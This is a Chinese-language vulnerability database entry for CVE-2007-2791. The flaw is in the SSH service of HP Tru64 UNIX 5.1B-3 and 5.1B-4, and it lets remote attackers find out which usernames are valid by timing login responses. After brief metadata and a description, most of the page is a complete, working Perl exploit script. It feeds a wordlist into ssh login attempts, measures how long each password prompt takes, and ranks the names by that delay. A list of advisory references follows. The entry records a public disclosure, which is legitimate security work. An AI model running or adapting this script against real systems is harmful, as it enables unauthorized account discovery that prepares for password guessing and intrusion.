HP Tru64有效用户枚举漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113091 漏洞类型 设计错误
发布时间 2007-06-04 更新时间 2007-06-04
CVE编号 CVE-2007-2791 CNNVD-ID CNNVD-200705-422
漏洞平台 Tru64 CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/4032
https://www.securityfocus.com/bid/24021
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200705-422
|漏洞详情
HPTru64UNIX是惠普公司开发和维护的商业性质UNIX操作系统。HPTru64UNIX的SSH服务实现上存在漏洞,远程攻击者可能利用此漏洞猜测系统上的有效帐号。远程攻击者可以利用SecureShell(SSH)中的安全漏洞在HPTru64UNIX上通过定时攻击和AuthInteractiveFailureRandomTimeout枚举确认有效的用户名。
|漏洞EXP
#!/usr/bin/perl
use warnings;
use strict;
#
# Remember: you need to accept ssh key first!
#
use Tie::File;
use Fcntl 'O_RDONLY';
use Expect;
use Time::HiRes qw(gettimeofday);
#
# tru64-sshenum.pl
# HP Tru64 Remote Secure Shell user enumeration exploit (CVE-2007-2791).
#
# Author: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# The following supported software versions are affected:
#
#  HP Tru64 UNIX v5.1B-4
#  HP Tru64 UNIX v5.1B-3
# 
# The Hewlett-Packard Company thanks Andrea Purificato for reporting this 
# vulnerability to security-alert@hp.com
#
# References: 
#  - http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01007552
#  - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2791
#  - http://rawlab.mindcreations.com/codes/exp/nix/tru64-sshenum.pl
#

my $verbose = undef;
my $port    = 22;
my $timeout = 10;

print <<BANNER;
$0 - HP Tru64 Remote Secure Shell user enumeration exploit

 Andrea "bunker" Purificato - http://rawlab.mindcreations.com
 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2 

BANNER

print "Usage: $0 <target> <userlist>\n" and exit(-1) if ($#ARGV<1);

my $target   = $ARGV[0];
my $wordlist = $ARGV[1];
chomp (my $ssh  = `which ssh`);
chomp (my $tel  = `which telnet`);
my %htimes; my @atimes;

print "[+] Grabbing banner...\n";
my $exp = Expect->spawn("$tel -l fake $target $port") 
	or die "Cannot spawn $tel: $!\n";;
#$exp->log_stdout(0);
$exp->expect(5,['SSH|ssh'=>sub{$exp->send(".\n")}]);
$exp->close();
print "[+] Done!\n\n";

sub timing {
    my $user = shift @_;
    my $t0 = gettimeofday;
    my $t1 = undef;
    my $exp = Expect->spawn("$ssh -l $user -p $port $target") 
	or die "Cannot spawn $ssh: $!\n";;
    $exp->log_stdout(0);
    $exp->expect($timeout,['assword:'=>sub{$exp->send(".\n")}]);
    $exp->expect(undef,   [ qr'assword|denied'=>sub{$t1=gettimeofday}]);
    $t1 = gettimeofday unless ($t1);
    $exp->close();
    return sprintf "%0.3f", ($t1-$t0);
}

tie my @wlst_ln, 'Tie::File', "$wordlist", mode=>O_RDONLY
    or die "$wordlist: $!";

print "[+] Started, please wait: ";
for (@wlst_ln) {
    print "($_ dup?)" if ($htimes{$_});
    my $ret = timing($_);
    $htimes{$_} = $ret unless ($htimes{$_});
    push @atimes, $ret;
    unless ($verbose) { print "." }
    else { print "$_\t\t$ret\n" }
}
print " Done!\n\n";

# 
# Do whatever you want with time values:
# 
# (sorted by values)
# 
foreach my $key (sort {$htimes{$b}<=>$htimes{$a}} keys %htimes) {
     print "$key:\t\t$htimes{$key}\n";
}
exit(0);

# milw0rm.com [2007-06-04]
|受影响的产品
HP Tru64 5.1 B-4 HP Tru64 5.1 B-3
|参考资料

来源:BID
名称:24021
链接:http://www.securityfocus.com/bid/24021
来源:VUPEN
名称:ADV-2007-1851
链接:http://www.frsirt.com/english/advisories/2007/1851
来源:SECUNIA
名称:24036
链接:http://secunia.com/advisories/24036
来源:HP
名称:SSRT071323
链接:http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01007552
来源:SECTRACK
名称:1018065
链接:http://www.securitytracker.com/id?1018065
来源:XF
名称:hp-ssh-information-disclosure(34329)
链接:http://xforce.iss.net/xforce/xfdb/34329